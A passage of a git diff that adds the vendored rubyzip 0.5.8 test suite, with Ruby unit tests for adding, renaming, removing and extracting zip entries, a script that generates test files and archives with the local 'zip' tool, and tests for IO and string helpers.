+    zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE)
+    zf.add(entryName, srcFile)
+    zf.close
+
+    zfRead = ZipFile.new(EMPTY_FILENAME)
+    assert_equals("", zfRead.comment)
+    assert_equals(1, zfRead.entries.length)
+    assert_equals(entryName, zfRead.entries.first.name)
+    AssertEntry.assertContents(srcFile, 
+			       zfRead.getInputStream(entryName) { |zis| zis.read })
+  end
+
+  def test_addExistingEntryName
+    assert_exception(ZipEntryExistsError) {
+      ZipFile.open(TEST_ZIP.zipName) {
+	|zf|
+	zf.add(zf.entries.first.name, "ziptest.rb")
+      }
+    }
+  end
+
+  def test_addExistingEntryNameReplace
+    gotCalled = false
+    replacedEntry = nil
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      replacedEntry = zf.entries.first.name
+      zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true }
+    }
+    assert(gotCalled)
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      assertContains(zf, replacedEntry, "ziptest.rb")
+    }
+  end
+
+  def test_addDirectory
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR)
+    }
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } 
+      assert(dirEntry.isDirectory)
+    }
+  end
+
+  def test_remove
+    entryToRemove, *remainingEntries = TEST_ZIP.entryNames
+
+    File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName)
+
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    assert(zf.entries.map { |e| e.name }.include?(entryToRemove))
+    zf.remove(entryToRemove)
+    assert(! zf.entries.map { |e| e.name }.include?(entryToRemove))
+    assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) 
+    zf.close
+
+    zfRead = ZipFile.new(TEST_ZIP.zipName)
+    assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove))
+    assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) 
+    zfRead.close
+  end
+
+
+  def test_rename
+    entryToRename, *remainingEntries = TEST_ZIP.entryNames
+    
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    assert(zf.entries.map { |e| e.name }.include?  entryToRename)
+    
+    newName = "changed name"
+    assert(! zf.entries.map { |e| e.name }.include?(newName))
+
+    zf.rename(entryToRename, newName)
+    assert(zf.entries.map { |e| e.name }.include?  newName)
+
+    zf.close
+
+    zfRead = ZipFile.new(TEST_ZIP.zipName)
+    assert(zfRead.entries.map { |e| e.name }.include?  newName)
+    zfRead.close
+  end
+
+  def test_renameToExistingEntry
+    oldEntries = nil
+    ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries }
+
+    assert_exception(ZipEntryExistsError) {
+      ZipFile.open(TEST_ZIP.zipName) {
+	|zf|
+	zf.rename(zf.entries[0], zf.entries[1].name)
+      }
+    }
+
+    ZipFile.open(TEST_ZIP.zipName) { 
+      |zf| 
+      assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name })
+    }
+  end
+
+  def test_renameToExistingEntryOverwrite
+    oldEntries = nil
+    ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries }
+    
+    gotCalled = false
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true }
+    }
+
+    assert(gotCalled)
+    oldEntries.delete_at(0)
+    ZipFile.open(TEST_ZIP.zipName) { 
+      |zf| 
+      assert_equals(oldEntries.map{ |e| e.name }, 
+		    zf.entries.map{ |e| e.name })
+    }
+  end
+
+  def test_renameNonEntry
+    nonEntry = "bogusEntry"
+    targetEntry = "targetEntryName"
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    assert(! zf.entries.include?(nonEntry))
+    assert_exception(ZipNoSuchEntryError) {
+      zf.rename(nonEntry, targetEntry)
+    }
+    zf.commit
+    assert(! zf.entries.include?(targetEntry))
+  ensure
+    zf.close
+  end
+
+  def test_renameEntryToExistingEntry
+    entry1, entry2, *remaining = TEST_ZIP.entryNames
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    assert_exception(ZipEntryExistsError) {
+      zf.rename(entry1, entry2)
+    }
+  ensure 
+    zf.close
+  end
+
+  def test_replace
+    unchangedEntries = TEST_ZIP.entryNames.dup
+    entryToReplace = unchangedEntries.delete_at(2)
+    newEntrySrcFilename = "ziptest.rb" 
+
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    zf.replace(entryToReplace, newEntrySrcFilename)
+    
+    zf.close
+
+    zfRead = ZipFile.new(TEST_ZIP.zipName)
+    AssertEntry::assertContents(newEntrySrcFilename, 
+				zfRead.getInputStream(entryToReplace) { |is| is.read })
+    zfRead.close    
+  end
+
+  def test_replaceNonEntry
+    entryToReplace = "nonExistingEntryname"
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      assert_exception(ZipNoSuchEntryError) {
+	zf.replace(entryToReplace, "ziptest.rb")
+      }
+    }
+  end
+
+  def test_commit
+    newName = "renamedFirst"
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    oldName = zf.entries.first
+    zf.rename(oldName, newName)
+    zf.commit
+
+    zfRead = ZipFile.new(TEST_ZIP.zipName)
+    assert(zfRead.entries.detect { |e| e.name == newName } != nil)
+    assert(zfRead.entries.detect { |e| e.name == oldName } == nil)
+    zfRead.close
+
+    zf.close
+  end
+
+  # This test tests that after commit, you
+  # can delete the file you used to add the entry to the zip file
+  # with
+  def test_commitUseZipEntry
+    File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt")
+    zf = ZipFile.open(TEST_ZIP.zipName)
+    zf.add("okToDelete.txt", "okToDelete.txt")
+    assertContains(zf, "okToDelete.txt")
+    zf.commit
+    File.move("okToDelete.txt", "okToDeleteMoved.txt")
+    assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt")
+  end
+
+#  def test_close
+#    zf = ZipFile.new(TEST_ZIP.zipName)
+#    zf.close
+#    assert_exception(IOError) {
+#      zf.extract(TEST_ZIP.entryNames.first, "hullubullu")
+#    }
+#  end
+
+  def test_compound1
+    renamedName = "renamedName"
+    originalEntries = []
+    begin
+      zf = ZipFile.new(TEST_ZIP.zipName)
+      originalEntries = zf.entries.dup
+
+      assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1)
+      zf.add(TestFiles::RANDOM_ASCII_FILE1, 
+	     TestFiles::RANDOM_ASCII_FILE1)
+      assertContains(zf, TestFiles::RANDOM_ASCII_FILE1)
+
+      zf.rename(zf.entries[0], renamedName)
+      assertContains(zf, renamedName)
+
+      TestFiles::BINARY_TEST_FILES.each {
+	|filename|
+	zf.add(filename, filename)
+	assertContains(zf, filename)
+      }
+
+      assertContains(zf, originalEntries.last.to_s)
+      zf.remove(originalEntries.last.to_s)
+      assertNotContains(zf, originalEntries.last.to_s)
+      
+    ensure
+      zf.close
+    end
+    begin
+      zfRead = ZipFile.new(TEST_ZIP.zipName)
+      assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1)
+      assertContains(zfRead, renamedName)
+      TestFiles::BINARY_TEST_FILES.each {
+	|filename|
+	assertContains(zfRead, filename)
+      }
+      assertNotContains(zfRead, originalEntries.last.to_s)
+    ensure
+      zfRead.close
+    end
+  end
+
+  def test_compound2
+    begin
+      zf = ZipFile.new(TEST_ZIP.zipName)
+      originalEntries = zf.entries.dup
+      
+      originalEntries.each {
+	|entry|
+	zf.remove(entry)
+	assertNotContains(zf, entry)
+      }
+      assert(zf.entries.empty?)
+      
+      TestFiles::ASCII_TEST_FILES.each {
+	|filename|
+	zf.add(filename, filename)
+	assertContains(zf, filename)
+      }
+      assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES)
+      
+      zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName")
+      assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0])
+      assertContains(zf, "newName")
+    ensure
+      zf.close
+    end
+    begin
+      zfRead = ZipFile.new(TEST_ZIP.zipName)
+      asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup
+      asciiTestFiles.shift
+      asciiTestFiles.each {
+	|filename|
+	assertContains(zf, filename)
+      }
+
+      assertContains(zf, "newName")
+    ensure
+      zfRead.close
+    end
+  end
+
+  private
+  def assertContains(zf, entryName, filename = entryName)
+    assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}")
+    assertEntryContents(zf, entryName, filename) if File.exists?(filename)
+  end
+  
+  def assertNotContains(zf, entryName)
+    assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}")
+  end
+end
+
+class ZipFileExtractTest < CommonZipFileFixture
+  EXTRACTED_FILENAME = "extEntry"
+  ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse
+
+  def setup
+    super
+    File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME)
+  end
+
+  def test_extract
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME)
+      
+      assert(File.exists? EXTRACTED_FILENAME)
+      AssertEntry::assertContents(EXTRACTED_FILENAME, 
+				  zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read })
+    }
+  end
+
+  def test_extractExists
+    writtenText = "written text"
+    File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) }
+
+    assert_exception(ZipDestinationFileExistsError) {
+      ZipFile.open(TEST_ZIP.zipName) { 
+	|zf| 
+	zf.extract(zf.entries.first, EXTRACTED_FILENAME) 
+      }
+    }
+    File.open(EXTRACTED_FILENAME, "r") {
+      |f|
+      assert_equals(writtenText, f.read)
+    }
+  end
+
+  def test_extractExistsOverwrite
+    writtenText = "written text"
+    File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) }
+
+    gotCalled = false
+    ZipFile.open(TEST_ZIP.zipName) {
+      |zf|
+      zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true }
+    }
+
+    assert(gotCalled)
+    File.open(EXTRACTED_FILENAME, "r") {
+      |f|
+      assert(writtenText != f.read)
+    }
+  end
+
+  def test_extractNonEntry
+    zf = ZipFile.new(TEST_ZIP.zipName)
+    assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") }
+  ensure
+    zf.close if zf
+  end
+
+  def test_extractNonEntry2
+    outFile = "outfile"
+    assert_exception(ZipNoSuchEntryError) {
+      zf = ZipFile.new(TEST_ZIP.zipName)
+      nonEntry = "hotdog-diddelidoo"
+      assert(! zf.entries.include?(nonEntry))
+      zf.extract(nonEntry, outFile)
+      zf.close
+    }
+    assert(! File.exists?(outFile))
+  end
+
+end
+
+class ZipFileExtractDirectoryTest < CommonZipFileFixture
+  TEST_OUT_NAME = "emptyOutDir"
+
+  def openZip(&aProc)
+    assert(aProc != nil)
+    ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc)
+  end
+
+  def extractTestDir(&aProc)
+    openZip {
+      |zf|
+      zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc)
+    }
+  end
+
+  def setup
+    super
+
+    Dir.rmdir(TEST_OUT_NAME)   if File.directory? TEST_OUT_NAME
+    File.delete(TEST_OUT_NAME) if File.exists?    TEST_OUT_NAME
+  end
+    
+  def test_extractDirectory
+    extractTestDir
+    assert(File.directory? TEST_OUT_NAME)
+  end
+  
+  def test_extractDirectoryExistsAsDir
+    Dir.mkdir TEST_OUT_NAME
+    extractTestDir
+    assert(File.directory? TEST_OUT_NAME)
+  end
+
+  def test_extractDirectoryExistsAsFile
+    File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" }
+    assert_exception(ZipDestinationFileExistsError) { extractTestDir }
+  end
+
+  def test_extractDirectoryExistsAsFileOverwrite
+    File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" }
+    gotCalled = false
+    extractTestDir { 
+      |entry, destPath| 
+      gotCalled = true
+      assert_equals(TEST_OUT_NAME, destPath)
+      assert(entry.isDirectory)
+      true
+    }
+    assert(gotCalled)
+    assert(File.directory? TEST_OUT_NAME)
+  end
+end
+
+
+TestFiles::createTestFiles(ARGV.index("recreate") != nil || 
+			   ARGV.index("recreateonly") != nil)
+TestZipFile::createTestZips(ARGV.index("recreate") != nil || 
+			    ARGV.index("recreateonly") != nil)
+exit if ARGV.index("recreateonly") != nil
+
+#require 'runit/cui/testrunner'
+#RUNIT::CUI::TestRunner.run(ZipFileTest.suite)
+
+# Copyright (C) 2002 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb b/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb
new file mode 100644
index 00000000..036d25e9
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb
@@ -0,0 +1,7 @@
+#!/usr/bin/env ruby
+
+class NotZippedRuby
+  def returnTrue
+    true
+  end
+end
diff --git a/vendor/rubyzip-0.5.8/test/data/rubycode.zip b/vendor/rubyzip-0.5.8/test/data/rubycode.zip
new file mode 100644
index 00000000..8a68560e
Binary files /dev/null and b/vendor/rubyzip-0.5.8/test/data/rubycode.zip differ
diff --git a/vendor/rubyzip-0.5.8/test/data/rubycode2.zip b/vendor/rubyzip-0.5.8/test/data/rubycode2.zip
new file mode 100644
index 00000000..8e1cd08f
Binary files /dev/null and b/vendor/rubyzip-0.5.8/test/data/rubycode2.zip differ
diff --git a/vendor/rubyzip-0.5.8/test/data/testDirectory.bin b/vendor/rubyzip-0.5.8/test/data/testDirectory.bin
new file mode 100644
index 00000000..cbdb9f7d
Binary files /dev/null and b/vendor/rubyzip-0.5.8/test/data/testDirectory.bin differ
diff --git a/vendor/rubyzip-0.5.8/test/data/zipWithDirs.zip b/vendor/rubyzip-0.5.8/test/data/zipWithDirs.zip
new file mode 100644
index 00000000..4b01f011
Binary files /dev/null and b/vendor/rubyzip-0.5.8/test/data/zipWithDirs.zip differ
diff --git a/vendor/rubyzip-0.5.8/test/gentestfiles.rb b/vendor/rubyzip-0.5.8/test/gentestfiles.rb
new file mode 100644
index 00000000..1b579702
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/gentestfiles.rb
@@ -0,0 +1,155 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+class TestFiles
+  RANDOM_ASCII_FILE1  = "data/generated/randomAscii1.txt"
+  RANDOM_ASCII_FILE2  = "data/generated/randomAscii2.txt"
+  RANDOM_ASCII_FILE3  = "data/generated/randomAscii3.txt"
+  RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin"
+  RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin"
+
+  EMPTY_TEST_DIR      = "data/generated/emptytestdir"
+
+  ASCII_TEST_FILES  = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] 
+  BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ]
+  TEST_DIRECTORIES  = [ EMPTY_TEST_DIR ]
+  TEST_FILES        = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten!
+
+  def TestFiles.create_test_files(recreate)
+    if (recreate || 
+	! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) }))
+      
+      Dir.mkdir "data/generated" rescue Errno::EEXIST
+
+      ASCII_TEST_FILES.each_with_index { 
+	|filename, index| 
+	create_random_ascii(filename, 1E4 * (index+1))
+      }
+      
+      BINARY_TEST_FILES.each_with_index { 
+	|filename, index| 
+	create_random_binary(filename, 1E4 * (index+1))
+      }
+
+      ensure_dir(EMPTY_TEST_DIR)
+    end
+  end
+
+  private
+  def TestFiles.create_random_ascii(filename, size)
+    File.open(filename, "wb") {
+      |file|
+      while (file.tell < size)
+	file << rand
+      end
+    }
+  end
+
+  def TestFiles.create_random_binary(filename, size)
+    File.open(filename, "wb") {
+      |file|
+      while (file.tell < size)
+	file << [rand].pack("V")
+      end
+    }
+  end
+
+  def TestFiles.ensure_dir(name) 
+    if File.exists?(name)
+      return if File.stat(name).directory?
+      File.delete(name)
+    end
+    Dir.mkdir(name)
+  end
+
+end
+
+
+
+# For representation and creation of
+# test data
+class TestZipFile
+  attr_accessor :zip_name, :entry_names, :comment
+
+  def initialize(zip_name, entry_names, comment = "")
+    @zip_name=zip_name
+    @entry_names=entry_names
+    @comment = comment
+  end
+
+  def TestZipFile.create_test_zips(recreate)
+    files = Dir.entries("data/generated")
+    if (recreate || 
+	    ! (files.index(File.basename(TEST_ZIP1.zip_name)) &&
+	       files.index(File.basename(TEST_ZIP2.zip_name)) &&
+	       files.index(File.basename(TEST_ZIP3.zip_name)) &&
+	       files.index(File.basename(TEST_ZIP4.zip_name)) &&
+	       files.index("empty.txt")      &&
+	       files.index("short.txt")      &&
+	       files.index("longAscii.txt")  &&
+	       files.index("longBinary.bin") ))
+      raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless 
+	system("zip #{TEST_ZIP1.zip_name} data/file2.txt")
+      raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless 
+	system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt")
+      
+      File.open("data/generated/empty.txt", "w") {}
+      
+      File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" }
+      ziptestTxt=""
+      File.open("data/file2.txt") { |file| ziptestTxt=file.read }
+      File.open("data/generated/longAscii.txt", "w") {
+	|file|
+	while (file.tell < 1E5)
+	  file << ziptestTxt
+	end
+      }
+      
+      testBinaryPattern=""
+      File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read }
+      testBinaryPattern *= 4
+      
+      File.open("data/generated/longBinary.bin", "wb") {
+	|file|
+	while (file.tell < 3E5)
+	  file << testBinaryPattern << rand
+	end
+      }
+      raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless 
+	system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}")
+
+      # without bash system interprets everything after echo as parameters to
+      # echo including | zip -z ...
+      raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless 
+	system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"")
+
+      raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless 
+	system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}")
+
+      raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless 
+	system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}")
+    end
+  rescue 
+    raise $!.to_s + 
+      "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" +
+      "to create test data. If you don't have it you can download\n"   +
+      "the necessary test files at http://sf.net/projects/rubyzip."
+  end
+
+  TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", [])
+  TEST_ZIP2 = TestZipFile.new("data/generated/4entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/short.txt data/generated/longBinary.bin}, 
+			      "my zip comment")
+  TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt })
+  TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", 
+				TestFiles::EMPTY_TEST_DIR])
+end
+
+
+END {
+  TestFiles::create_test_files(ARGV.index("recreate") != nil || 
+			     ARGV.index("recreateonly") != nil)
+  TestZipFile::create_test_zips(ARGV.index("recreate") != nil || 
+			      ARGV.index("recreateonly") != nil)
+  exit if ARGV.index("recreateonly") != nil
+}
diff --git a/vendor/rubyzip-0.5.8/test/ioextrastest.rb b/vendor/rubyzip-0.5.8/test/ioextrastest.rb
new file mode 100644
index 00000000..b18e9db9
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/ioextrastest.rb
@@ -0,0 +1,208 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'test/unit'
+require 'zip/ioextras'
+
+include IOExtras
+
+class FakeIOTest < Test::Unit::TestCase
+  class FakeIOUsingClass
+    include FakeIO
+  end
+
+  def test_kind_of?
+    obj = FakeIOUsingClass.new
+    
+    assert(obj.kind_of?(Object))
+    assert(obj.kind_of?(FakeIOUsingClass))
+    assert(obj.kind_of?(IO))
+    assert(!obj.kind_of?(Fixnum))
+    assert(!obj.kind_of?(String))
+  end
+end
+
+class AbstractInputStreamTest < Test::Unit::TestCase
+  # AbstractInputStream subclass that provides a read method
+  
+  TEST_LINES = [ "Hello world#{$/}", 
+    "this is the second line#{$/}", 
+    "this is the last line"]
+  TEST_STRING = TEST_LINES.join
+  class TestAbstractInputStream 
+    include AbstractInputStream
+    def initialize(aString)
+      super()
+      @contents = aString
+      @readPointer = 0
+    end
+
+    def read(charsToRead)
+      retVal=@contents[@readPointer, charsToRead]
+      @readPointer+=charsToRead
+      return retVal
+    end
+
+    def produce_input
+      read(100)
+    end
+
+    def input_finished?
+      @contents[@readPointer] == nil
+    end
+  end
+
+  def setup
+    @io = TestAbstractInputStream.new(TEST_STRING)
+  end
+  
+  def test_gets
+    assert_equal(TEST_LINES[0], @io.gets)
+    assert_equal(1, @io.lineno)
+    assert_equal(TEST_LINES[1], @io.gets)
+    assert_equal(2, @io.lineno)
+    assert_equal(TEST_LINES[2], @io.gets)
+    assert_equal(3, @io.lineno)
+    assert_equal(nil, @io.gets)
+    assert_equal(4, @io.lineno)
+  end
+
+  def test_getsMultiCharSeperator
+    assert_equal("Hell", @io.gets("ll"))
+    assert_equal("o world#{$/}this is the second l", @io.gets("d l"))
+  end
+
+  def test_each_line
+    lineNumber=0
+    @io.each_line {
+      |line|
+      assert_equal(TEST_LINES[lineNumber], line)
+      lineNumber+=1
+    }
+  end
+
+  def test_readlines
+    assert_equal(TEST_LINES, @io.readlines)
+  end
+
+  def test_readline
+    test_gets
+    begin
+      @io.readline
+      fail "EOFError expected"
+      rescue EOFError
+    end
+  end
+end
+
+class AbstractOutputStreamTest < Test::Unit::TestCase
+  class TestOutputStream
+    include AbstractOutputStream
+
+    attr_accessor :buffer
+
+    def initialize
+      @buffer = ""
+    end
+
+    def << (data)
+      @buffer << data
+      self
+    end
+  end
+
+  def setup
+    @outputStream = TestOutputStream.new
+
+    @origCommaSep = $,
+    @origOutputSep = $\
+  end
+
+  def teardown
+    $, = @origCommaSep
+    $\ = @origOutputSep
+  end
+
+  def test_write
+    count = @outputStream.write("a little string")
+    assert_equal("a little string", @outputStream.buffer)
+    assert_equal("a little string".length, count)
+
+    count = @outputStream.write(". a little more")
+    assert_equal("a little string. a little more", @outputStream.buffer)
+    assert_equal(". a little more".length, count)
+  end
+  
+  def test_print
+    $\ = nil # record separator set to nil
+    @outputStream.print("hello")
+    assert_equal("hello", @outputStream.buffer)
+
+    @outputStream.print(" world.")
+    assert_equal("hello world.", @outputStream.buffer)
+    
+    @outputStream.print(" You ok ",  "out ", "there?")
+    assert_equal("hello world. You ok out there?", @outputStream.buffer)
+
+    $\ = "\n"
+    @outputStream.print
+    assert_equal("hello world. You ok out there?\n", @outputStream.buffer)
+
+    @outputStream.print("I sure hope so!")
+    assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer)
+
+    $, = "X"
+    @outputStream.buffer = ""
+    @outputStream.print("monkey", "duck", "zebra")
+    assert_equal("monkeyXduckXzebra\n", @outputStream.buffer)
+
+    $\ = nil
+    @outputStream.buffer = ""
+    @outputStream.print(20)
+    assert_equal("20", @outputStream.buffer)
+  end
+  
+  def test_printf
+    @outputStream.printf("%d %04x", 123, 123) 
+    assert_equal("123 007b", @outputStream.buffer)
+  end
+  
+  def test_putc
+    @outputStream.putc("A")
+    assert_equal("A", @outputStream.buffer)
+    @outputStream.putc(65)
+    assert_equal("AA", @outputStream.buffer)
+  end
+
+  def test_puts
+    @outputStream.puts
+    assert_equal("\n", @outputStream.buffer)
+
+    @outputStream.puts("hello", "world")
+    assert_equal("\nhello\nworld\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts("hello\n", "world\n")
+    assert_equal("hello\nworld\n", @outputStream.buffer)
+    
+    @outputStream.buffer = ""
+    @outputStream.puts(["hello\n", "world\n"])
+    assert_equal("hello\nworld\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts(["hello\n", "world\n"], "bingo")
+    assert_equal("hello\nworld\nbingo\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts(16, 20, 50, "hello")
+    assert_equal("16\n20\n50\nhello\n", @outputStream.buffer)
+  end
+end
+
+
+# Copyright (C) 2002-2004 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/test/stdrubyexttest.rb b/vendor/rubyzip-0.5.8/test/stdrubyexttest.rb
new file mode 100644
index 00000000..f11608f7
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/stdrubyexttest.rb
@@ -0,0 +1,52 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'test/unit'
+require 'zip/stdrubyext'
+
+class ModuleTest < Test::Unit::TestCase
+
+  def test_select_map
+    assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e })
+  end
+  
+end
+
+class StringExtensionsTest < Test::Unit::TestCase
+
+  def test_starts_with
+    assert("hello".starts_with(""))
+    assert("hello".starts_with("h"))
+    assert("hello".starts_with("he"))
+    assert(! "hello".starts_with("hello there"))
+    assert(! "hello".starts_with(" he"))
+
+    assert_raise(TypeError, "type mismatch: NilClass given") { 
+      "hello".starts_with(nil) 
+    }
+  end
+
+  def test_ends_with
+    assert("hello".ends_with("o"))
+    assert("hello".ends_with("lo"))
+    assert("hello".ends_with("hello"))
+    assert(!"howdy".ends_with("o"))
+    assert(!"howdy".ends_with("oy"))
+    assert(!"howdy".ends_with("howdy doody"))
+    assert(!"howdy".ends_with("doody howdy"))
+  end
+
+  def test_ensure_end
+    assert_equal("hello!", "hello!".ensure_end("!"))
+    assert_equal("hello!", "hello!".ensure_end("o!"))
+    assert_equal("hello!", "hello".ensure_end("!"))
+    assert_equal("hello!", "hel".ensure_end("lo!"))
+  end
+end
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb b/vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb
new file mode 100644
index 00000000..10140e10
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb
@@ -0,0 +1,829 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'zip/zipfilesystem'
+require 'test/unit'
+
+module ExtraAssertions
+
+  def assert_forwarded(anObject, method, retVal, *expectedArgs)
+    callArgs = nil
+    setCallArgsProc = proc { |args| callArgs = args }
+    anObject.instance_eval <<-"end_eval"
+      alias #{method}_org #{method}
+      def #{method}(*args)
+        ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args)
+        ObjectSpace._id2ref(#{retVal.object_id})
+        end
+    end_eval
+
+    assert_equal(retVal, yield) # Invoke test
+    assert_equal(expectedArgs, callArgs)
+  ensure
+    anObject.instance_eval "alias #{method} #{method}_org"
+  end
+
+end
+
+include Zip
+
+class ZipFsFileNonmutatingTest < Test::Unit::TestCase
+  def setup
+    @zipFile = ZipFile.new("data/zipWithDirs.zip")
+  end
+
+  def teardown
+    @zipFile.close if @zipFile
+  end
+
+  def test_umask
+    assert_equal(File.umask, @zipFile.file.umask)
+    @zipFile.file.umask(0006)
+  end
+
+  def test_exists?
+    assert(! @zipFile.file.exists?("notAFile"))
+    assert(@zipFile.file.exists?("file1"))
+    assert(@zipFile.file.exists?("dir1"))
+    assert(@zipFile.file.exists?("dir1/"))
+    assert(@zipFile.file.exists?("dir1/file12"))
+    assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? !
+
+    @zipFile.dir.chdir "dir1/"
+    assert(!@zipFile.file.exists?("file1"))
+    assert(@zipFile.file.exists?("file12"))
+  end
+
+  def test_open_read
+    blockCalled = false
+    @zipFile.file.open("file1", "r") {
+      |f|
+      blockCalled = true
+      assert_equal("this is the entry 'file1' in my test archive!", 
+		    f.readline.chomp)
+    }
+    assert(blockCalled)
+
+    blockCalled = false
+    @zipFile.dir.chdir "dir2"
+    @zipFile.file.open("file21", "r") {
+      |f|
+      blockCalled = true
+      assert_equal("this is the entry 'dir2/file21' in my test archive!", 
+		    f.readline.chomp)
+    }
+    assert(blockCalled)
+    @zipFile.dir.chdir "/"
+    
+    assert_raise(Errno::ENOENT) {
+      @zipFile.file.open("noSuchEntry")
+    }
+
+    begin
+      is = @zipFile.file.open("file1")
+      assert_equal("this is the entry 'file1' in my test archive!", 
+		    is.readline.chomp)
+    ensure
+      is.close if is
+    end
+  end
+
+  def test_new
+    begin
+      is = @zipFile.file.new("file1")
+      assert_equal("this is the entry 'file1' in my test archive!", 
+		    is.readline.chomp)
+    ensure
+      is.close if is
+    end
+    begin
+      is = @zipFile.file.new("file1") {
+	fail "should not call block"
+      }
+    ensure
+      is.close if is
+    end
+  end
+
+  def test_symlink
